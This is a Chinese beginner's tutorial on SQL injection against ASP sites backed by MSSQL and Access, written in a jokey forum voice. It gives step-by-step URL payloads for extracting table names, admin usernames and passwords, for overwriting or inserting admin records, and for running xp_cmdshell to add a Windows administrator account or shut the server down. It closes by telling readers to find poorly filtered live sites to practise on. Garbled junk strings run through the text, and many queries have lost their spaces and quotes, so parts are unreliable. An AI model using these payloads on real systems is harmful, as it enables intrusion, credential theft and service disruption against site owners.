[安全]菜鸟SQL注入详解

踏浪行歌

菜鸟SQL注入详解 ( i1 ?8 S' D/ P4 L' @& J 网上有很多高手GG们写的利用SQL注入如何去黑网站的，偶看了，嘿嘿。 不过可能对于一些初学者而且，有点难。在这里，小林想把这个过时的 ; @5 ?9 D% _% M东东作一次全面的交待，尽量让没有编程基础的DDMM们很快的拿握这门技术。 利用SQL进行添加，更改，查看记录。 4 q/ e( N/ C7 q: A$ k# x! g+ p8 @. {

当一台主机台开了80端口，当你手头没有任何黑客工具，那么，偶们有SQL。 他不需要你其他东东，只要一个浏览器就够了。HOHO，偶的文章菜菜，偶写这 篇文章只是为了让一些对SQL很陌生的菜菜们看的，老鸟绕道。。。

1，什么是SQL注入？ : P* f; K' t/ N* P# X

SQL注入，就是利用欺骗的方式，通过网页的查询功能，或查询命令注入。 当用户来到网站，会提交一些数据，再到数据库进行查询，确定此用户的身份。 举个简单的例子来说吧，你去一个站点的论坛，那么，你会输入你的用户名和 # ~) c( p. u' F密码，点“确定”，网站会通过数据库的查询来判断你是不是他们的用户， 你的用户名和密码是否正确。而利用SQL注入，通过构造特殊的语句，来查找我 们所想要得到的信息，如管理员的帐号密码。以下，小林用了http://xxx.xxx.com 来表示一个存在注入漏洞的网页。

2，助手篇， 先把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。 % i% c0 b% a+ {/ A; X/ E7 b- X否则，不论服务器返回什么错误，我们都只能看到“HTTP500服务器错误”，不能获得更多的提示信息 5 q- R2 Y- a) e4 w% o+ g; E

。

1 j* P+ [" f9 U3，哪些网页能利用？ 我们去找一些要提交数据的网页，如：登陆页面，查找页面，添加页面等 8 W/ M3 A) n6 q找到后，如果你注意过网页的源代码，那么，你会发现，他上面一般有一个如下的表单：

<FORMaction=login.aspmethod=post> <input........ </FORM>

这些网页，后缀如asp,jsp,cgi，php网页。 : P5 o' c7 P( t" m+ p: K" l! c) e如：http://xxx.xxx.com/index.asp?id=10 上面这个例子，就是ASP页后，看到他的ID还的值了吗？是10。一般，我们找的就是这些页面 来练手了。（要做个好人噢。（^_^）像小林一样的好人。）

4，怎么测试它是存在注入漏洞的呢？这一步偶称它为“踩点”。 " t2 s' \* ?% E小林有一个毛病，看什么网页，就要顺手在参数（如上面的10）上加一个小小的引号。 http://xxx.xxx.com/index.asp?id=10 ) H; l) p& B, ~/ F4 ^( H; N返回错误信息：

MicrosoftOLEDBProviderforSQLServer错误80040e14

字符串之前有未闭合的引号。 - i# k0 t% }* \1 _6 D2 ?

/job/grxx.asp，行141 6 I$ z0 ^3 {7 Y! p @

这就是说，他用的是MsSQL数据库。这个引号，导致引号未闭合的错误。本身就是错的，因为 通常一个整数是不用在SQL里加引号的。

如果他不是一个整数而是字母呢？

http://xxx.xxx.com/index.asp?user=lamb 0 k" O% a. t; w) k& @+ o/ x" @

那我们就把引号放到lamb中间，如lamb 1 P0 M: q; N$ n0 R+ g% ~3 s呵呵，又出错了吧？ 8 V2 E1 ?' A6 D# {

这说明，站点这一部分的代码是大有问题的（当然，就算他有源码公布在网上，我也懒得看）

当然，我们也可以提交： http://xxx.xxx.com/index.asp?id=10;ANDcolumnaaa=5(注，这里的columnaaa是我乱写的) 出现错误信息：

MicrosoftOLEDBProviderforODBCDrivers错误80040e14 * r1 T, Q, @$ `2 e; N" U4 U( G* b' f

[Microsoft][ODBCSQLServerDriver][SQLServer]Invalidcolumnnamecolumnaaa.

/job/grxx.asp，行27 # g, O& u+ T. C" d这说明，这是一个SQL，里面没有columnaaa这个字段（我习惯说“列”）。

利用出错的信息，我们现在多少了解了这个站点的服务了吧？

5，现在开工啦，偶不喜欢猜测他的字段名，太浪费TIME了，我们要想办法让数据查询中出错。 $ \+ |1 J! k1 G4 ^9 ?* Y要产生一个错误让它自己报出数据库里的值。让我们用一用SQL语法GROUPBY或HAVING。如： z5 {: ^& L8 f8 H1 f

http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--

出现错误信息： MicrosoftOLEDBProviderforODBCDrivers错误80040e14

[Microsoft][ODBCSQLServerDriver][SQLServer]Columnarticle.newsidisinvalidinthe

selectlistbecauseitisnotcontainedinanaggregatefunctionandthereisnoGROUPBY

clause.

/more.asp，行27 / g7 ~" s8 _% \# M# W

看到article.newsid了吗？说明有一个叫article.newsid的列，因为你在用HAVING，所以你必须还要用

上GROUPBY，于是黑客就重复错误提交，直到没有得到错误。 # c# l& s8 t. z" k# [这里要说明一下：分号在这里分离，%20是空格，--表示后面是一个注释，也就是说只是说明，不能去

执行代码。(*_*) 6 w! s' s% O+ z" B+ |

下面是具体例子： ' E+ G( `+ D- |# {; ~0 |0 A5 f2 g

提交： 4 [0 P7 P" V/ e( @3 ^http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1-- 6 p, A- P, u$ k' p' l; `& M得到article.newsid这真是好东西。 提交： http://xxx.xxx.com/job/grxx.asp?id=23%20group%20by%20article.newsid%20having%201=1-- @* M# w& Q; D* o得到错误信息： ! O1 J. R6 C2 x7 w2 Z" }MicrosoftOLEDBProviderforODBCDrivers(0x80040E14)

[Microsoft][ODBCSQLServerDriver][SQLServer]Columnarticle.titleisinvalidinthe

selectlistbecauseitisnotcontainedineitheranaggregatefunctionortheGROUPBY

clause.

/more.asp，line20 8 G \! h" b: U" W$ o t+ M

得到： v8 \3 G: y! Varticle.title . |6 \/ [3 ~: L7 V3 I: N. \我们反复地一个一个加上来提交。 得到错误信息： % t, C8 c1 Y9 EMicrosoftOLEDBProviderforODBCDrivers(0x80040E14)

[Microsoft][ODBCSQLServerDriver][SQLServer]Columnadm.userNameisinvalidinthe

selectlistbecauseitisnotcontainedineitheranaggregatefunctionortheGROUPBY ! W, f0 D( R/ [. v

clause. $ f# @* {/ x5 f) C! E2 q9 q1 O

/more.asp，line56 , t# Q( u* c, p4 R: `+ l, ^' d5 Z1 A

这里要注意了，都到哪儿了？到下一个表了。 现在我们知道这里至少有2个表，他们的别名是：adm和article，如里面article对应的是：newsid等 & M1 S4 h# t/ D: {

title

利用系统表：

下面，我们要确定表名来加入数据。 6 M7 D% D8 m3 e5 i5 L+ J, N系统表是MS-SQL2000的一部分，名叫sysObjectstable，我们将要用到查询UNIONSELECT,。 要从SysObjectstable有天地拿到表名，一般使用下面语句： ( [0 k* W: }/ Y3 N0 D" f8 A. fSELECTnameFROMsysObjectsWHERExtype=UU是指明定议USER的表。 R; f4 U- a/ |9 H5 {+ U黑客们已经知道了表里的列， 现在他们能在下面加一些数字。甚至如下面的：

在地址栏里打入：

http://xxx.xxx.com/job/grxx.asp?id=23%20UNION%20ALL%20SELECT%; - `3 g: _3 k( Q, C201,2,3,4,5,6,name%20FROM%20sysObjects%20WHERE%20xtype=U-- 8 _( h) c8 Q6 N2 Z记住，上面的，1-6数据中，6是我们想要的。不过有时候会出现数据类型错误，

http://xxx.xxx.com/job/grxx.asp?id=23%20SELECT;TOP1TABLE_NAMEFROM - P5 l! l, e3 n( R

INFORMATION_SCHEMA.TABLES-- % y( r! {' {* A7 u f9 O

MSSQL服务将试图去转换一个string(nvarchar)到integer。那么就会出错： ) W8 o% S1 A! Q' T

MicrosoftOLEDBProviderforODBCDriverserror80040e07 [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue 0 d5 q4 y# b& T

table1toacolumnofdatatypeint. 9 F5 b1 z6 |) R/index.asp,line5 1 Y1 P" H+ b0 h9 S7 U

这个错误信息很“友好”地告诉我们string(nvarchar)值不能被转换成integer。 4 N% t9 [. g# ]" i这样，我们就获得了数据表的第一个表名！这个表名就是tabel1。 ; P/ k) ^: k! B/ X

要获得第二个表名，我们继续，用以下查询： http://xxx.xxx.com/job/grxx.asp?id=23%20UNION;SELECTTOP1TABLE_NAMEFROM

INFORMATION_SCHEMA.TABLESWHERETABLE_NAMENOTIN(table1)--

也可以用关键字查找数据： , ]4 a" V/ {/ u3 o% M7 L, S3 e3 O& uhttp://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1TABLE_NAMEFROM

INFORMATION_SCHEMA.TABLESWHERETABLE_NAMELIKE%25ADMIN%25-- . s5 _2 j* O* }0 w( R$ N& h* W E现在错误信息： MicrosoftOLEDBProviderforODBCDriverserror80040e07 2 B. R2 U4 F2 i+ e! R[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue

admin_logintoacolumnofdatatypeint. 3 |6 G2 [% j( G5 t/index.asp,line5

寻找与之匹配的值，%25ADMIN%25在SQL服务器上将被认作%ADMIN%。这样，我们就能获得符合标 准的表名为"admin_login"的表了。

那么，如何获得表里所有的列表？ $ G% ]1 A" L% h" v' K9 N% j

我们能利用另一个有用的东东，INFORMATION_SCHEMA.COLUMNS出场！！！ http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1COLUMN_NAMEFROM

INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=admin_login--

现在错误信息： & w( u% u' a2 ]* \' yMicrosoftOLEDBProviderforODBCDriverserror80040e07 [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue

u_idtoacolumnofdatatypeint. ! t! \1 L/ O5 Z' c/index.asp,line6 0 A0 J' c }9 d4 g$ G看，我们有了第一个字段的名，我们用NOTIN()来获得下一个字段名： . I1 N( I8 p9 }# B2 Bhttp://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1COLUMN_NAMEFROM & ~3 U/ X; T/ a

INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=admin_loginWHERECOLUMN_NAMENOTIN

(u_id)-- 现在错误信息： 1 @% v" O: Z3 FMicrosoftOLEDBProviderforODBCDriverserror80040e07 [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue ; J4 A" l) m0 e. c4 a( @

u_nametoacolumnofdatatypeint. & s7 I0 O9 P! N- }2 b- O) j/index.asp,line5 ' K& r, c0 A$ p ~2 K3 q我们继续，获得其他列表。如："password"等，因为我们获得下面错误信息： http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1COLUMN_NAMEFROM : X% ^& f$ g7 n/ O

INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=admin_loginWHERECOLUMN_NAMENOTIN

(u_id,u_name,password,contents)-- 现在错误信息： MicrosoftOLEDBProviderforODBCDriverserror80040e14 [Microsoft][ODBCSQLServerDriver][SQLServer]ORDERBYitemsmustappearintheselect

listifthestatementcontainsaUNIONoperator. 8 y$ f! {! X" T5 N; B n/ a) l/index.asp,line5 6。2如何找到我们要找的重要数据呢？ 现在我们知道了表名，字段名，我们用相同的方法收集我们要的在数据库里的信息。 现在，我们从"admin_login"表里取得第一个u_name： / e# U, I* g6 y7 @http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1u_nameFROMadmin_login-- 现在错误信息： MicrosoftOLEDBProviderforODBCDriverserror80040e07 o8 {% J/ d3 n9 O[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue & b. |8 I' Z! |* I4 a, ^! c; r

adminroottoacolumnofdatatypeint. /index.asp,line5

4 y1 w* @0 m: U! V我们知道，这里有登陆的用户名叫"adminroot"的管理员。最后，从数据库里获得"adminroot"的密码 # a1 \- W/ @7 O1 B3 L3 }

： http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1passwordFROMadmin_loginwhere ( Q) x8 a2 x k [

u_name=adminroot-- 8 H2 V/ ]' f {( V! n现在错误信息： MicrosoftOLEDBProviderforODBCDriverserror80040e07 [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue 2 _7 p5 d% B5 m6 J' T

roottoacolumnofdatatypeint. ; q$ ^, ~+ `' {: U/index.asp,line5 我们现在能用户名"adminroot"密码："root"登陆了。 $ L+ J- |* U& [1 N& n% Q

如何取得数字的值？ . D3 R5 C- r8 P& G2 X- j

以上技术描述有有一定的局限性。当我们试图转换文本组成有效的数字0-9我们不能得到任何错误。 6 P- y. W3 Y5 S* I% m, B让我们说说如何获得"tony"的密码，密码是"19840217": http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1passwordFROMadmin_loginwhere 2 S" }+ D) c3 Q+ K

u_name=tony-- 我们很可能发现，该页无法显示的错误。这结果表示，密码"19840217"被修改到一个数了。在整 合一个整型(10也是)，因为这是一个有效的整合。所以SQL服务就不会给出错误的提示了。 我们就得不到数字的登陆了。 " t8 O H; c( z2 V要解决这个问题，我们能附加一些字母来测试转换失败。我们用以下的测试来代替： * Z! C/ ]6 q2 t- W6 M9 x2 F4 whttp://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1convert(int, / u! K( T" Y. U) T

password%2b%20lambgirl)FROMadmin_loginwhereu_name=tony--

我们简单地利用加号+设置密码数据文件的搜索路径。随便加一些。ASSCII码+=0x2b 我们将添加空格在密码里。所以，如果把我们的密码是19840217。他将变成19840217lambgirl. 调出了转换了的函数。试着将19840217lambgirl转变成整型。SQL服务将出现ODBC错误： MicrosoftOLEDBProviderforODBCDriverserror80040e07 [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue

19840217lambgirltoacolumnofdatatypeint. ) `/ E) p4 Q! M4 Q) s/ c/index.asp,line5 7 d" |) P" a) P5 x* R现在，你就能用tony和密码：19840217lambgirl了。 4 h7 X9 R, W2 ~) \- v$ Y

如何在数据库修改，插入数据？ 当我们成功地获得了表名，字段。就很容易在数据库里修改甚至插入新的数据。如更改"adminroot" 8 y$ |; O' ~. [; C& N的密码，我们 . k! D* n( l* Y0 m$ `. F

http://xxx.xxx.com/job/grxx.asp?id=23;UPDATEadmin_loginSETpassword=newpas5WHERE . j; J1 k8 Q, B6 x! F2 r

u_name=adminroot-- : B0 ?/ [( \5 Y m

要在数据表里插入新记录， j" ^- d! O+ e- q/ l |* b7 z

http://xxx.xxx.com/job/grxx.asp?id=23;INSERTINTOadmin_login(u_id,u_name, - J3 L# W0 U% N- `, _, r6 d9 [

password,contents)VALUES(123,xiaolin,pas,lambgirl)-- 现在，我们就能用xiaolinpas来登陆了。

# S: Y4 O1 Y" c2 Q8 Z! q! ?如何远程执行SQL漏洞？ ) ]& h J9 D% o j& t$ h% ~# x+ ?

能进行SQL注入命令表明，我们能查任何我们想要查的。默认安装的的MSSQL服务 在系统中权限等于管理员。我们能利用执行存储过程像xp_cmdshell来执行远程破坏： ;execmaster..xp_cmdshellping192.168.0.2-- 1 [6 h/ v( B4 X

(如果单引号不能用，就换成双引号)

分号表示结束前面的SQL查询，从而允许你开始另一个新的SQL命令。 为了检验命令成功执行，你可以监听从192.168.0.2发出的的ICMP包。查看是否发出包。 . |' R& r) n7 K3 X' D5 E% @' \

#tcpdumpicmp 4 T! A4 l4 R% n如果你没有接到PING主机的回应，得到一个错误的提示，权限错误，那么，很可能管理员 限制了WEB用户对xp_cmdshell等的权限。 , t& k7 N7 w: j$ A/ q. k! m5 Q

如何找出MYSQL查询结果？ 这很容易用sp_makewebtask来把你查询的结果放到一个HTML里： ;EXECmaster..sp_makewebtask"\\192.168.0.2\share\girlxiaolin.html","SELECT*FROM ' `" {0 E( y2 _1 h

INFORMATION_SCHEMA.TABLES" ' c8 _& a. T: x* z v: C g但是目标IP必须共享文件夹。 ) }- a5 t# m( m: o' E

2 x3 v& U+ g. X- ]# A- z2 \: h& Rhttp://xxx.xxx.com/job/grxx.asp?id=23;;execmaster..xp_cmdshell“netusername , v& M M! G" X0 R/ v9 j; z7 ~& H& Tpassword/add”-- 9 T2 x8 o4 d$ C$ Y# m

xp_cmdshell用于调用系统命令，于是，用net命令新建了用户名为name、密码为password 5 _) Z) ~+ o/ ^6 O. b: k的windows的帐号，接着： 0 Q R5 W) c- h: [1 n! z5 r4 P fhttp://xxx.xxx.com/job/grxx.asp?id=23;;execmaster..xp_cmdshell“netlocalgroupname

administrators/add”-- 将新建的帐号name加入管理员组，不过这种方法只于用sa连接数据库的情况，否则，没有权限调用 2 d' X& g8 t y: t5 m0 u

xp_cmdshell。 $ L9 Y# O6 e5 `2 _- U, J; `

其他方面，如利用SQL的命令填写： 将使SQL服务快速关闭 # g: ]; q+ Y' j8 a+ p# |用户名:;shutdownwithnowait;-- 密码:不填 + E. \, t2 ?0 }

导致严重问题，网络故障。 5 N5 u8 U) R( R用户名:;execmaster..xp_cmdshelliisreset;-- 密码：不填 & h5 O) L5 x3 M' w; A5 |

关于ACCESS部分，

和ASSQL差不了多少，也是先在http://xxx.xxx.com/index.asp?id=10 : M0 i ~9 k' Z& D& {

出错的话，继续提交： 3 |9 m$ s N! T先测试是否有ADMIN表， ; U4 {) L( n3 {http://xxx.xxx.com/index.asp?id=10and0<>(selectcount(*)fromadmin)

http://xxx.xxx.com/index.asp?id=10and1=(selectcount(*)fromadmin) % ^! k- ^* N) A) u1 y没有的话，就换一个名字，如user啊，什么的。再猜里面是否有username这个字段. $ n% O6 E# I5 S, i

and1=(selectcount(*)fromadminwherelen(username)>0) ! B9 A! g& j8 T! T, \, J' M1 N如果出错，同理，我们也可以给它换一个名字。 * Y# j$ C% i$ [8 |* j: \" u. d接下来我们猜用户的具体名字。 and1=(selectcount(*)fromadminwhereleft(username,1)=l) 这时我们可以一个一个地来猜。 and1=(selectcount(*)fromadminwhereleft(username,2)=la) 8 [" S+ A5 @/ E8 @1 ^1 I6 D接下来猜密码，猜密码的道理同猜用户名一样。 and1=(selectcount(*)fromadminwhereleft(password,1)=l) 7 x. R, }7 ^" U+ G, v5 ^

好了，不写了，这篇文章小林写了好几天了，累死了，还是条理不清楚。 文章还有很多不全面的地方。还有一些专业术语，小林可能也有误，不过小菜们拿来看看还 . R: l c/ O0 W. \2 u7 O是行的啦。如果哪些写错了，请老鸟们加偶：165442496，告诉我错误，我会修正的。 ; w% q& J) B9 Z我试过了，很多用MsSQL站点过滤不完整的网上也很多。所以大家可以找来练练手。 % R2 g6 w y; D( m0 s5 t

[em09]